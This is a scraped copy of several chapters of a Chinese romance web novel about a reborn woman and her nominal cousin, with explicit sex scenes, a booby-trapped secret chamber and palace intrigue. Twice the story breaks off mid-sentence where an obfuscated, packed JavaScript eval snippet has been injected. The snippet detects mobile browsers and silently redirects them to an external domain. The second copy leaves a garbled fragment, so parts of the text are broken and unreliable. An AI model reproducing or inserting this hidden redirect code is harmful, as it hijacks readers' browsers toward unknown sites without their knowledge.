只是眼下,她整个人就那么立在那里,青丝凌乱,衣不蔽体,眸光流转间,温柔得几乎能沁出水来,他想不看也不能了,他的呼吸渐次变得灼热急促,她的一颦一笑都在消融着他内心深处的那座冰山,激发起最为疯狂最为原始的颤栗。 时倾尘眼睫轻颤,伸手将她揽入怀中,喃喃道,“为什么要这样折磨我?” 沈衔月心底涌起了一丝丝悸动。 她清楚地瞧见他冷白的腕骨微微泛红,似是凌寒盛放的灼灼琼英,修长如玉的指节紧叩掌心,生生攥出一道刺目的血痕,手背之上,隐约可见青筋虬起。 显而易见。 他快被逼疯了。 她仰起脸,脉脉凝望他的眼眸,细若无骨的葇荑攀上他的肩颈,眼尾处晕开一抹潮红,嗓音透着难以言喻的欢愉,她伏在他的耳侧,低低地说,“你恨李元彻吗?恨,就去杀了他。”她捻起他的发丝,若有若无的香气萦绕在他的颊侧,温软又妩媚,“也不枉,我唤你一声表兄……” 这一声“表兄”。 说得极轻极缓。 落入他的耳中却恍若天雷震地。 他的理智原本已经燃烧殆尽,这话,有如一盆冷水兜头浇下,让他瞬间清醒了大半,他薄唇微抿,别开脸不再看她,她敏锐地捕捉到他幽眸中未曾散尽的欲念,抬指将他的脸一点点勾了回来。 “表兄,你为什么不敢看我?” 他轻轻错开目光,语气不似往常平稳,仿佛煮茶时涌泉连珠的二沸之水,只须臾,便会翻江倒海,腾波鼓浪。 “你也知道我是你的兄长,你——” 他的话戛然而止,因为他发现,在她贴上来的一瞬间,软玉萦怀,香气扑鼻,他身体的某个部位正在发生可耻的变化,似乎要将这铺天盖地的清辉捅个对穿。 他深吸一口气,颤手给她系好衣裳,随即头也不回地往外走。 再待下去,他真的会犯错。 不可挽回、不可饶恕的错。 星汉洒落细小的银沙,溢了还满,满了又空,她望着他的身影愈行愈远,唇角泛起一丝嘲弄的笑,她以为自己恨他。 可看到他如此伤神,她却并未获得意料之中的快感。 人间自有情痴。 此恨无关风月。 走到门口时,时倾尘脚步微缓,隔着暗潮涌动的气流,他觉察到一位故人的气息,果然,没过一会儿,大皇子的声音就隔着院门传了过来。 “天澜,你在吗,本王睡不着,漏夜来找你讨杯酒吃。” “殿下恕罪,少主吩咐过,今夜不见人,殿下还是请回吧。” 大皇子也不生气,只把剑随手一丢,斜身倚着院墙,抱臂抄手耍起了无赖,“天澜,你也不管管你手下这些人,连我都敢拦,你要是不出来,我可就不走啦!” 时倾尘扶额苦笑,这个李元芳,惯会在他这里胡闹的,他心说,今夜燕王府还真是热闹,先是三皇子李元彻,再是太子爷李元洵,如今又来了个大皇子李元芳,他都想下帖子把五皇子李元睿请过来了,干脆让皇帝的这几个儿子在这里开一场夺嫡大会,那才叫一个精彩绝伦。 沈衔月闻得此言,微微挑眉,“听这口气,大皇子似乎和你很熟?” 时倾尘依旧不敢看她,他“嗯”了一声,淡淡道,“我去应付他。” 说罢,他推门而出。 大皇子轻功极好,他趁着凤箫几人不留神,飞身遁入,正好撞见迎面走来的时倾尘,他笑了笑,抬手搭上时倾尘的肩,乜眼看向还未掩好的门,揶揄道。 “怎么?你屋里藏了人?” “没有。” 时倾尘不由分说,反手关门。 大皇子嗤笑一声,哼,还说没有,他可是窥见了一个绰绰约约的倩影。 那人,分明就是个女子。 夜色依稀,流苏覆影,李元芳没有认出那个女子就是他日前见过的沈衔月,他抵住门,往沈衔月的方向一偏头,颇有几分倜傥的扬眉道,“天澜,不介绍介绍吗?” 时倾尘轻吐一字,“滚。” 大皇子哈哈大笑,顺势揽他出去,“好啦好啦,你别生气,你的女人,我绝对不看一眼,走走走,我有要紧事和你商量。” “什么我的女人,你看错了!” “是是是,我眼拙,我看错了,那是个男的,行了吧。” “……” 二人的声音渐次远了。 沈衔月本来打算离开,余光瞥见窗侧的书案,忽然起了一个念头,时倾尘身上疑点颇多,难得有这么一个好机会,她何不趁他不在,在他房中找找线索。 事不宜迟。 说干就干。 案头摆放得都是一些寻常之物,什么镇纸呀、笔洗呀、砚台呀,看起来并没有什么异常,她不死心,又将书卷一册一册摊在地上,想要看看里面藏没藏东西,可依旧是一无所获。 沈衔月忙活了大半日,不免口干舌燥,她想要去斟杯茶吃,因为蹲得久了,抬身时头晕目眩,一个不稳险些栽倒,她踉跄两步,下意识伸手扶住了身侧的屏风,这才堪堪站定。 这一下,倒叫她发现了问题。 这个屏风不对劲。 时倾尘屋中有两架屏风,一个是案旁的墨烟冻石六扇屏,一个是他卧榻处的紫檀屏风架,方才他将她的手绑在床侧,那样大力的动作,屏风也纹丝不动,可眼下她不过是扶了一扶,这个屏风就摇晃不止,就算两个屏风的材质不同,也不至于如此大相径庭。 除非。 这个屏风是中空的。 沈衔月灵光一闪,她曾经在古籍上看到过有关“复壁”的记载,这种建筑极其隐蔽,藏身其中,鬼神难知,但是因为内虚外实,以阴抱阳,有碍风水,等闲情况下不会轻易使用。 她在墨烟冻石六扇屏上仔细摸索了一会儿,终于发现了一个小小的机关,连忙抬指轻旋屏风上面的暗格,伴随着一声细碎的“咔哒”,她惊愕地看见卧榻缓缓升起,露出一个可容两人通行的密道,她迟疑了一下,随即纵身一跃,转瞬没入黑暗。 伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427285|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不见五指。 死一般的诡寂。 沈衔月的轻功是从前在家时跟风鹤学的,三脚猫的功夫,因为许久不练,已经有些生疏了,落地时不慎刮到一旁的朱砂石壁,手背立时渗出鲜血,她顾不得疼痛,连忙撑地起来,伴随着她的脚步声,冰凉的影壁上霎时亮起淡青色的火烛,跳跃忽闪的光影映在她的颊侧。 朱壁、青火、黑夜、乌影。 这个气氛又安静,又诡异。 入口已经完全闭合,她找了一圈也没找到出去的机关,好在烛火一直在轻微摇曳,这就说明这里的空气是和外界连通的,她暂时不用担心会被憋死在里面。 她稍稍松了口气,静下心来打量着这间密室,只见此处机关精巧,步步设伏,心中不由又是一惊,她从未料到听澜苑里竟然还藏着这样一个所在。 一连串的疑问蹦了出来…… 这个地方是用来做什么的?燕王府里藏着怎样的秘密?还有时倾尘,他同自己的死,同永宁十年的那场兵变有关吗…… 沈衔月不知道,她凝视着影壁上的朱色碑楷,微微敛眉。 太傅府中有不少藏书,其中也包括南朝的书卷,如果她没记错的话,这影壁上的碑楷似乎就是失传已久的南朝文字。 传言,南朝繁盛于千年之前,国君治国有方,国人知乐好礼,举国上下路不拾遗,夜不闭户,可惜后来,朔北铁骑大举南下,南朝就此亡国,虽然这个王朝国祚极短,但在历史上却因为它的书画文章、奇门遁甲留下了浓墨重彩的一笔。 即便已经历经了千年之久,她面前的碑楷依旧苍绝有力,入木三分,她不自觉伸出手,想要触碰影壁上遒劲悲壮的朱红雕镂,感受一下沉睡千年的历史温度。 不料“唰”的数声。 几支冷箭从暗处袭来,她躲闪不及,堪堪避开左右两箭,再抬眼时,当中一箭正冲自己眉心而来,她匆忙仰身,却是体力耗尽,再难支撑。 一波未平,一波又起。 沈衔月还没来得及喘口气,密密麻麻的箭雨再次袭来,她欲哭无泪,只当今日要命丧于此了,忽见银光一闪,时倾尘从天而降,他拔剑斩落飞矢,护在她的身前。 她心头一暖,唤了声,“表兄。” 他闻言,眉峰微蹙。 方才,时倾尘心中忽然涌起一种不安的感觉,他匆忙打发走了李元芳,折身回屋,果然发现“梨容”不见了。 在看到那扇微微倾斜的屏风时,他瞬间反应过来,“梨容”应该是进了密室。 这间密室里藏着他不能与人言说的秘密,现在有人闯入了密室,这也就意味着,他很有可能因此暴露身份,陷入危局。 可他惊讶地发现,自己的第一反应不是愤怒,而是害怕,密室里有太多的机关,稍不留神,就会尸骨无存。 他害怕她死在里面。 他不想她死在里面。 这么想着,时倾尘眸中愠色渐浓。 她怎能如此不小心,将自己至于险境,她知不知道,他要是晚来一步,她真的会死在这里。 他极少动怒,而此刻,他抿着唇,看也不看她一眼,只冷漠地甩落碎箭,字句冰冷,一如眉眼间的锋利。 “站稳了,一动也不要动。” 他说这话时,迎面飞来的箭矢离她只有一寸之遥,可她却并不挪步。 生死关头,她忽然意识到自己竟是这样相信他,没有任何理由的相信他。 下一瞬,寒霜吞海,陆离惊霄。 时倾尘的动作太快,快到她都没看清发生了什么,一切就已经结束了,银光乍现间,破刃而出的气流疾转向左,竟将她眼前的箭矢生生震断。 沈衔月心中微惊,这样好的功夫,怕是满皇城也找不出一个。 须臾,箭势稍缓。 时倾尘瞅准时机,凌空遽起,用雪龙吟将密室上方的龙牙上下扣紧,这场箭雨终于停了下来,他回握剑柄,旋身落定,深深看她一眼,“你怎么跑到这里来了?” 他低沉的嗓音含着明显的不悦。 他刚刚救过她的命,她不想惹他生气,也不想让他对自己起疑,于是,她抱着膝盖,将自己缩成小小一团,她本来想挤出两滴眼泪,可惜演戏的火候不到家,努力了大半天,也没流出泪来,倒是因为太过用力,微微红了眼眶。 “我不小心碰到了屏风上的机关,发现了这个暗道,一时好奇,就想着下来看看。”她说着,仰起脸,投向他的目光无助又可怜,“表兄,对不起,我不是故意的。” 他没料到她会道歉,记忆中,她还是第一次向他示弱,他心里有一种说不清道不明的感觉,他默默打量着她,待瞧见她的伤口时,不由得微微蹙眉,“你受伤了?” 沈衔月这才感觉到疼痛,她摇摇头,“应该是掉下来的时候摔伤的,没事。” 他不由分说地抱起她,“什么没事,都出血了,走,我先带你离开这里。” “表兄,我……” “别叫我表兄。” 他讨厌这个称呼,很讨厌。 她怔了怔,不叫他表兄叫什么? 一缕淡淡的松月香沁入鼻息,他将她抱了个满怀,“梨容,叫我的名字。” “你的名字?时倾尘?” “对,再叫。” 她似乎明白了什么,抬眸看他,经过方才的一番打斗,他的发丝凌乱,呼吸不稳,眸中是失而复得的欣喜,是隐忍不发的欲念,他要她唤他的名字,一遍又一遍。 他不想做她的兄长,他想做…… 说他有悖伦常也好。 说他自欺欺人也罢。 他认了。 24. 想要他 二十四、想要他一种很新的上药方式 灯花欲坠。 时倾尘将她放在榻上。 银钩玎珰一声地划破夜色,纱帐曳地,烛火明灭,他眼睫微垂,眸间似有万千星河璀璨,若有若无的风拂过她的心,酥酥的,痒痒的。 她忘记了呼吸。 一刹那,什么爱,什么恨,她全都不在乎了,她心底只有一个声音。 她想要他。 沈衔月勾住他的衣袖,“别走。” 时倾尘眸光潋滟,他俯下身,单臂撑在她的颈侧,松月香的味道沁入她的鼻息,愈热,愈浓,良久,他起身,疏疏落落的声音泼洒半帏竹影,“我去拿药。” 她没有说话。 少顷,脚步声又起。 松月生夜凉,风泉满清听,他步着月色而来,白皙修长的指节拨开她眼前的混沌,在她迷离的目光中,他半跪在榻侧,动作轻柔地牵起她的手。 “来,我给你上药。” 她沉沦在记忆的漩涡深处,无意识地“嗯”了一声。 这是一种很奇怪的感觉,上一世,那个曾经让你爱而不得的男子,此刻就这么陪在你的身边,温声细语地同你说话,帮你上药,如果你愿意的话,或许还能为你做些旁的事。 药膏冰冰凉的。 沈衔月倏然回过神来,她推开他的手,小孩子般的赌气摇头,“我不要上药。” 她不要上药。 她要上…… 时倾尘手中动作一滞,他放下药膏,不解地看向她,“怎么了?” 沈衔月小猫似的矜了矜鼻子,随便找了个由头,“不好闻,我不喜欢这个味道。” 时倾尘一怔,不觉哑然失笑,“药哪有好闻的?听话,别动。” “谁说的?我就知道,有一味药是极好闻的,怕就怕,你不舍得给我。” “你说,什么药?” 她弯了弯眉,右手搭上他的左肩,轻轻往下一扯。 他措不及防,下意识捂住自己半开的衣襟,仓皇后退,直至磕到桌案的边沿方才站定。 帘栊漾荡,灯花揉碎。 灼热从烛心蔓延开来,红到了他的耳根,他眼神复杂地看着她,他不是在做梦吧?他方才居然被一个女子轻薄了? 沈衔月也看着他,她的目光在他的身上肆意游走,丝毫不加掩饰,有如干柴之于烈火,他在她的注视下烧成了红温,冰蓝云纹软烟罗松散斜逸地拢在他的臂间,泻出他清劲白皙的腕骨,他的肤色如竹似玉,冷傲霜华,美中不足的是,其上隐约可见尚未痊愈的斑驳血迹。 鲜艳又刺目。 她轻启朱唇,“我想要你……身上的药,怎么?舍不得嘛?” 他听见她突转的话锋,微一扬眉。 沈衔月也不在乎他的看法,她勾了勾唇,扯出一个随意妩媚的笑,赤足下榻,珠帘随着她的动作微微摇晃,清脆悦耳的玉声倾曳而落。 她一步步走到他的眼前。 他没有动。 时已入夏,风微醺,人初醒,夜色中漾荡着梅子酒的味道,她的指尖摩挲过他的每一寸伤痕,那样温柔,那样缓慢,她知道,他身上的这些伤,都是他为她受的。 感动吗? 会有一点点吧。 沈衔月深深吸了一口气,她来到这个世界,除却死而复生的喜悦,更多的是一种解脱,一种释然,她是死过一次的人,她不在乎世人的看法,不在乎满口仁义道德的人笔下的是非对错,她清楚自己想要什么,只要是她想要的,她都会不遗余力地握在手中。 他如是。 这个棋局亦如是。 时倾尘抗拒不了这样的她,他也不想再抗拒,他知道,自己并不是时玄钧的亲生儿子,既如此,又何必在意这所谓的兄妹之情,他对自己说,放纵一次,又有何妨? 他攥住她的指尖,掌心的温度几乎能将她化掉,她仰起脸,笑着默许了他。 彼时的他不会想到,一步错,步步错,这一次之后,还有数不清的千万次。 …… 山巅冰雪消融,药香缱绻恣意,两个人紧密相拥,没有一丝缝隙,她以一种很新的方式,将药涂遍了自己身体的每一个角落,在极致的颤栗中,她仿佛又一次看见了上一世的凛冬、残雪、红衣,她在生与死之间穿梭、喘息、绽放。 风呼啸着,一次比一次猛烈,一次比一次用力,他从后拥住她,臂弯包裹住她的柔软,几乎是无师自通般地由冬入春,由春入夏,淹没肌肤,浸染唇齿。 她的身子打着颤儿。 这个他让她觉得陌生。 那一夜他分明那样温柔,可此刻,他又是这样的滚烫,几乎叫她难以承受。 她咬着桃瓣,却还是在下一刻忍不住呻吟了出来。 缠绵悱恻,予取予夺,她的声音和他的药力同时在最深处释放。 沈衔月感到一种莫名的羞耻,这种事,趁他丧失意识的时候是一回事,在他清醒的时候又是另一回事,她伸出手,试图往后推他,“停下……我不要了……” 他哪里肯依她,如竹似玉的指节锢住她的双腕,继而俯身含住她的珠垂,哑声问,“不要什么?不要药,还是不要我?” 逼仄、暧昧、醺醉。 至生、至死、欢愉。 她檀口微张,仰脸看他,在赤裸的空气中,二人交错的目光掠起一道灼热亲密的吻痕,她没力气说话,不住喘息着,“我……都不要了……” 他眯眼。 她水润红胀的唇瓣散发着诱人的光泽,这个“不要”落在他的耳里也便有了相反的意味,他笑了笑,似是一本正经地问她,“这个味道你也不喜欢吗?” 她别开脸,执拗地说,“不喜欢。” 他挑了挑眉,垂指勾起丝衾上的半波潋滟,亮在她的眼前,“不喜欢,怎么成了这样?” 她瞧见这份赤裸裸的罪证,再次红了脸,“喜欢这味药,但不喜欢你。” 沈衔月说这话,原本只是同他逗趣,可是他却听出了另一层意思,他凝视着湿滑洁凉的丝衾,上面没有一丁点落红的痕迹,他的笑意渐次僵硬在嘴角。 “你,真的不是第一次?” 她微愣,顺着他的目光看过去,才明白他说的是什么,她觉得好笑,又觉得好气,于是反问,“怎么,你是第一次?” 方才,沈衔月又一次看到了他耳后的朱砂痣,可见,那并不是什么守宫砂,想来不过是胎记罢了,算起来,时倾尘今年已经十八岁了,作为燕王府的独苗,不通人事属实说不过去,再结合他这两次在床上的优异表现,她满以为自己能将他一军。 不料他“嗯”了一声。 沈衔月的眼睛亮了一下。 他是第一次,她心底其实是欢喜的,却偏偏装出嫌弃的模样,她轻抬玉腕,指尖徐徐地滑过他的胸膛,“难怪动作如此生疏,真是可惜了你的这幅好皮囊。” 时倾尘的大脑一片空白。 痒。 痛。 他的眼睛还红着,声音却已经冷了下来,他抬手钳住她的纤腕,“怎么?你很有经验?” “至少比你强。” 月亮西移,堪堪坠在屋檐一角,流华沿着帷幔丝衾滑落,洒逸他的半边脸颊,他默了默,蓦然欺身而上,在她的一声惊呼中,他用另一只手掐住她的腰,将她整个人带入了自己怀里。 他手上用力,声音沙哑,“你的第一个男人是谁?” 她面有愠色,嗔道,“放开我,时倾尘,你弄疼我了!” 他不理会她的挣扎,只是逼问,“梨容,告诉我,是谁?李元彻吗?” 沈衔月咬着下唇,她原本可以告诉他,这一世,她从始至终只有他一个男人,可她心里存着气,偏要叫他不舒服,于是嘴硬道,“是,是他,就是他。” 时倾尘牙关紧闭,几乎是一个字一个字地恨声道,“为什么?” 她竟是笑了一下,白腻纤细的素腕攀上他裸露的肩颈,香温玉软的气息拂过他的耳畔,“因为,你口口不如他。” 这话太过露骨。 他对这样的她痛恨至极,却又舍不得放下,他不知道自己中了什么邪魔。 胜负欲起。 他压住她。 “再来,告诉我,我比他强。” …… “你,不如他。” …… * 东方既白,云朵沾满了阳光,似是一床软绵的被,裹住了不着寸缕的二人。 她不知道什么时候睡熟了,月牙儿似的弯在他的怀里,他起初还怕自己把她吵醒,后来发现她是睡得真香,少年人的体力是无穷无尽的,他不记得昨夜给她上了多少次药,只记得她被自己折腾得精疲力竭,却还是不肯如他所愿,说出那句他想听的话。 时倾尘撑头看她。 事到如今,他已经不在意自己是不是她第一个男人了,他纠结的问题在于她究竟怎么看自己,他没有过这方面的经验,所以被她那样一说,不由得不自信了。 这是一种难以言喻的挫败感。 他昨夜真的表现得很差劲吗? 时倾尘陷入深深的自我怀疑。 学问不好,可以去请教先生。 功夫不好,可以去请教师父。 可是这种事,他该去请教谁? 时倾尘认真回忆昨晚的每一个细节,还没等他想出个究竟,忽觉怀中人动了动,他垂眸,只见那个小小的人儿缩在他的怀里,纤细修长的睫毛不住地发颤,似乎睡得极不安稳。 沈衔月没有醒,而是沉入了更深的梦境,这是她一辈子都无法摆脱的噩梦,梦中,大雪纷飞,她又一次看见了自己临死前的场景,还是一样的痛,一样的冷,她呢喃着,“李元彻……” 时倾尘听见她的呓语,脸色骤然变得难看起来,在她的心里,他便这般比不上那个人吗? 他撩开帘幔,抬身便走,他走得太快,没听见她的后半句话。 “李元彻……我不准你污蔑他……” * 六月十六是林府千金林宛烟的及笄礼,宴帖递到了燕王府。 小辈们过生辰,时玄钧自然不好亲自前去,却也不好不去,于是便让慕容嫣带着时倾尘、沈衔月两个人过去。 时今,大徵税赋仰赖东南财阀,江南林氏可谓是满门荣耀,林宛烟之父林甫掌着盐铁的肥差,林宛烟之姑母林婷是宫里的淑妃,林宛烟之表兄是太子李元洵,林甫对这位女儿极尽疼爱,她的及笄礼请帖皆用金粉掺着墨汁研磨书就,单是这一项上便要耗费不少金银。 这日午后,时玄钧唤来时倾尘。 时倾尘依礼参见,等了半晌,却不见时玄钧说话,他抬眼撞见时玄钧深沉峻默的目光,莫名觉得有几分心虚,连忙垂下眼帘,“父亲怎么这样看着儿子?” 时玄钧笑着摇头,喟叹道,“一晃眼,你都这么大了,岁月不饶人呐。” 时倾尘稳了稳心神,勉力一笑,“父亲精神矍铄,正当盛年,何出此言。” 时玄钧没有接话,他看着时倾尘,却又像是透过他看着另一个人,阳光灿烂,金尘扬逸,他的记忆清朗而又模糊,当年慕容蝉身中巨毒,她拼着最后一口气,跑死了七匹马,从长安逃到江南,在燕王府生下时倾尘,随后撒手人寰,临死前,她将时倾尘托付给了时玄钧。 时玄钧不是时倾尘的生父,可他尽到了所有人父的责任,他深爱慕容蝉,也便爱屋及乌地爱着她的所有,他望着眼前的少年,似乎隔着尘埃往复,觅见了慕容蝉年轻时的样子。 那样耀眼。 那样夺目。 那样热烈。 那样美好。 时玄钧沉默良久,方才哑声道,“尘儿,你生得很像你的母亲。” 时倾尘的喉结滚动了一下。 他的母亲。 他素未谋面的亲人。 在他的记忆里,时玄钧从未和他主动提及他的母亲,他一开始以为时玄钧不爱 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时倾尘深吸一口气,不知道是不是心理作用,他说完之后,感觉心中一下子松快了不少,他掀袍而跪,正色说道,“父亲,我心里有喜欢的人了。” 时玄钧讶然,“你有喜欢的人了?” “嗯。” “谁?” “她叫……” “父亲!” 沈衔月快步而入,打断了时倾尘的话,时玄钧神情微有不悦,但他自认为亏欠她良多,所以没有斥责她的无礼,反而和蔼一笑,“容儿来了。” 沈衔月施施然行礼,“父亲安好,表兄安好。” 时倾尘颔首致意,面上虽然还强作镇定,心里却早已乱了方寸,她来做什么? “父亲唤我过来,是有什么事要说吗?” “先坐吧,让你兄长把话说完。” 时倾尘抿唇。 这还怎么说? 沈衔月方才在门口听到了两句,大概猜到了时玄钧要同自己说什么,她偷偷睨了时倾尘一眼,笑道,“父亲,我知道表兄心里的人是谁。” 时玄钧更讶异了,“哦?你怎么会知道?” “我是听府里的侍女说的,表兄曾经在梦里见过一个女子,所以一直念念不忘。” 这话,倒也不算扯谎。 “尘儿,是这样吗?” 时倾尘抬眼看向沈衔月,此刻,她背对着时玄钧,冲时倾尘狡黠地眨了两下眼。 “是。” “原来如此,既是梦中所见,何必当真?” “那么父亲在梦中见到母亲,也不可当真吗?” 时玄钧被他问住,过了好一会儿才说,“罢了,你也大了,既然你有自己的想法,父亲也不会为难你娶自己不喜欢的女子,到时候,你和容儿只当去林府散散心就好。” 时倾尘松了一口气,“多谢父亲体谅。” * 二人一走,慕容嫣立刻从屏风后面绕了出来,嗔怪道,“你呀你,不是说让你撮合尘儿和林家姑娘的嘛,怎么说着说着,又扯到做梦去了,真是的!还有梨容的事你也没说!” 时玄钧呷了口茶,慢悠悠道,“若是尘儿当真不喜欢林家姑娘,我们又何必勉强他呢。” “婚姻大事,向来是父母之命,媒妁之言,燕王府若想东山再起,势必要走结亲这条路,尘儿是燕王府的独子,是燕王府的指望,他应当明白这个道理!” 时玄钧沉默了一下,忽然问,“嫣儿,如果不是为了你姐姐的骨肉,你会嫁给我吗?” 慕容嫣微怔,末了不耐烦道,“这和尘儿的婚事有什么关系?” “我想知道。”时玄钧抬起视线,“嫣儿,我想知道,我在你眼中究竟是个怎样的人。” 慕容嫣绞着手中帕,心里乱得很。 会吗? 她问自己。 说真的,她当初嫁给时玄钧,是想要保护时倾尘,可是后来,她也不由得对自己枕畔的男人多了几分依赖,她从小在姐姐的庇护下长大,后来又做了太后的养女,富贵安逸磋磨了她的锐气,膏粱锦绣折去了她的羽翼,这辈子,她都无法像姐姐那般驰骋沙场,纵横江湖。 她没有自己的孩子,从前没有,以后也不会有,除了时倾尘,她这辈子能够仰赖的也就是她的夫君时玄钧了,这么想着,她不自觉红了眼眶,侧过身子拭泪。 时玄钧见状连忙走到她的跟前,将她揽入自己的怀中,哄道,“好好的,怎么哭了。” “还不都怪你?白白说这些话来招我。” “好了好了,是我的错,我不问就是了,嫣儿,无论你怎么看我,我都会好生待你的。” 慕容嫣抬起微湿的眼眸,她本就生得极美,此刻眉梢缀雾,秋波含情,更是动人,“王爷这样说,是为着姐姐的缘故吗?” 时玄钧思忖良久,摇头道,“嫣儿,从前我待你好,的确有阿蝉的缘故,但是这么多年下来,我是真心爱上了你。” 慕容嫣滚下两行热泪。 时玄钧用拇指揩去她眼角的泪痕,温声道,“嫣儿,我们都是过来人,当年,你、我、你的姐姐、我的兄长,我们都没有选择的机会,我们都有自己的不得已和没奈何,如今就让尘儿和容儿自己去选择意中人吧,只当是为了成全当初的我们。” 她的肌肤细嫩光滑,清晰地感受到了他指腹上的一层薄茧,她微微蹙眉,却并没有躲开,她抬手与他十指相扣,不动声色地将他的手掌从自己的脸上挪了下来,“妾身都听王爷的。” 时玄钧暗自松了一口气,他不会想到,他怀中的女人早就已经不是当初那个天真烂漫的小姑娘了,唯有鲜血,方能染出她指尖的那一簇嫣红。 笑靥是她的面具。 眼泪是她的锋芒。 慕容嫣依偎在他的怀里,在他看不见的地方,她的唇角滑出一丝冷漠的笑意,她慢慢松开他的手,纤若玉笋的指节勾住他递来的那方锦帕,悄无声息地地将它搅乱,撕碎,扯烂。 25. 喜欢你 二十五、喜欢你训狗 二人沿着曲径,缓步慢行。 昨夜荒唐历历在目,时倾尘多少有些不自在,沈衔月却是淡然自若,似乎他们之间什么都没发生过,一会儿和他说今夏的荷花开得正好,一会儿问他早上吃了什么,二人聊了大半日有的没的,眼看这条曲径要走到头了,时倾尘终于忍不住开口。 “你就没有什么别的话想对我说吗?” “什么话?” “你方才为什么要打断我?” 沈衔月觉得这个问题有点可笑,“如果我不打断你,你会说什么?难道你要和父亲说,你心里的人是我?你喜欢我?” 他反问,“为什么不?” 日头晕染天际,暖而艳。 她眨了眨眼,在变幻飘舞的金絮尘光中,少年白衣俊逸,轩然霞举,眸中却不似从前那般清冷了。 时倾尘轻抬腕骨,掌心卧着一枚玲珑玉簪,他凝视着她的眼睛,认真地说。 “我喜欢你。” 沈衔月微微一怔。 她以为他会像话本小说里写的那样,深情款款地许下一生一世的诺言,但他没有,他说的是,我喜欢你。 简简单单的四个字。 历经两世生死,她早已过了情窦初开的年纪,她爱他,也恨他,她对他的感情浓烈复杂,可他不同,任他如何材高知深,通达众凡,在男女情事上,他也只是初出茅庐的十八岁少年。 他喜欢她。 仅此而已。 沈衔月眼尾泛起一抹潮红,似是池心的芙蓉初绽,她仰起脸,莞尔一笑。 “帮我簪上。” 时倾尘没有拒绝,他抬手,冷白修长的指节拢起她的三千青丝。 万物光辉,风籁璀然。 少年的衣袂沾染了一二分松月香的痕迹,拂过她的发梢,若许年。 沈衔月歪头摸了一下玉簪,笑问,“你知道今天会碰见我?” “不知道,我一直带在身上,想着什么时候遇上了,就送给你。” 她点头,一本正经地道谢,“好,我收下了,谢谢你,没什么事我就先走啦!” 时倾尘一愣,继而无声哂笑,他抄手打量着她,眼神中带着似笑非笑的慵懒。 这个女人。 翻脸比翻书还快。 他怎么肯放她走,下一瞬,他炽热的掌心落在她的腰间,稍一用力,就将她扯入了自己怀里,她没料到他会如此动作,鸦羽似的睫毛不由得抖了抖。 “害怕了?” 输什么也不能输气势,她不服气地怼了回去,“怕什么?你有什么好怕的?” “是么?”他笑了笑,指尖缓缓下移,“那你绷这么紧做什么?” 沈衔月嘴上说得硬气,身子却是不听使唤地越绷越紧,虽然很羞耻,但她不得不承认,他远比她更了解她的身体,仅仅是轻柔的抚摸,就能让她颤栗起来。 不愧是永宁八年才名满天下的状元郎,学东西就是快。 “时倾尘!” “再叫,我喜欢听你叫我的名字。” 她咬着唇,不肯出声。 他拢住她的发心,迫使她仰头看着自己,“梨容,我喜欢你,你喜欢我吗?” “不喜欢……唔……” 他的吻,霸道绵长。 她像是在云巅打了个滚儿。 “重说。” “时、倾、尘!” 又是一个吻,更长,更久。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432634|168927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳丝拂过发梢,她整个人仰倒在碧波粼粼的池中,只有腰肢被他揽入臂弯,空气凝结成大大小小的水珠,薄媚又清润,她觉得自己不会呼吸了,她想要张嘴,可他的滚烫缱绻占据了她的口腔,满满当当,没有留下一丝空隙。 她眼尾的潮红几乎能沁出水来,她不再挣扎,只是望着他。 他心软了,于是放开她。 “重、说。” 她踮起脚尖,双手勾上他的肩,少女的气息甜腻温婉,恍若落花潮水,打湿他的耳畔,他听不见她说了什么,只能听见自己的心跳声越来越快。 时倾尘低头在她的桃瓣上轻轻吮吸着,末了,他抬指抵住她的唇,一双漆黑的眸子藏着细碎的光,口吻似是命令,又似诱哄,“我没听清,再说一遍,好不好。” 他太烫了…… 烫的她双颊微红…… 沈衔月轻轻喘着气,其实,她原本也没想让他听见,因为她方才说的两个字是“混蛋”,她弯了弯眉,含笑低语,“闭眼,我们玩个有趣儿的。” 他俊眉微挑,长睫下的星辉闪烁,似乎在掂量着这话的真假,“玩什么?” 她不答,只是用鲜艳欲滴的檀口咬住他的指尖,含情脉脉的眸光中充满了挑逗与诱惑,在他怔神的一瞬间,她抬手搭上他紧实有力的腰线,绕到他的身后。 “听话……闭眼……” 她好轻。 轻似一片随时会飘走的羽毛。 这个世间没有什么是永恒的,就像黑与白,就像爱与恨,就像此刻,最柔软的东西包裹住了最坚硬的东西。 他闭上眼,将自己完完全全地交了给她。 她剥落他的襕衫,又用腰间的玉带将他的双腕牢牢绑缚。 26. 有我在 二十六、有我在别怕 林府。 林家在江南经营多年,累世官宦,富甲一方,加之林甫夫妇对这个唯一的女儿极尽宠爱,这场及笄礼办得可谓是钟鼓馔玉,锦绣非凡。 促席鸾觞满,当炉兽炭然,在喧嚷鼎沸的人声中,但见绿云扰扰,团花曳地,一位衣着华贵的妇人被众人簇拥而来,此人,正是林甫之妻、林宛烟之母,史璇。 不同于大徵的士族门阀,史家在前朝并无根基,及至史璇太爷爷的那辈,通过科举挣了个不入流的微末小吏,史家才算半只脚踏入了官场,史璇之父史直以清正廉洁名扬天下,被吏部尚书杜知节推举到御史台的察院奉职,后又被太后赐婚,迎娶了尚宫局的女官杨华。 彼时,慕容嫣养在太后膝下,史璇也随着母亲入宫走动,所以二人自幼就认识,后来慕容嫣嫁给时玄钧,史璇嫁给林甫,二人同住江南,关系更是亲近了许多。 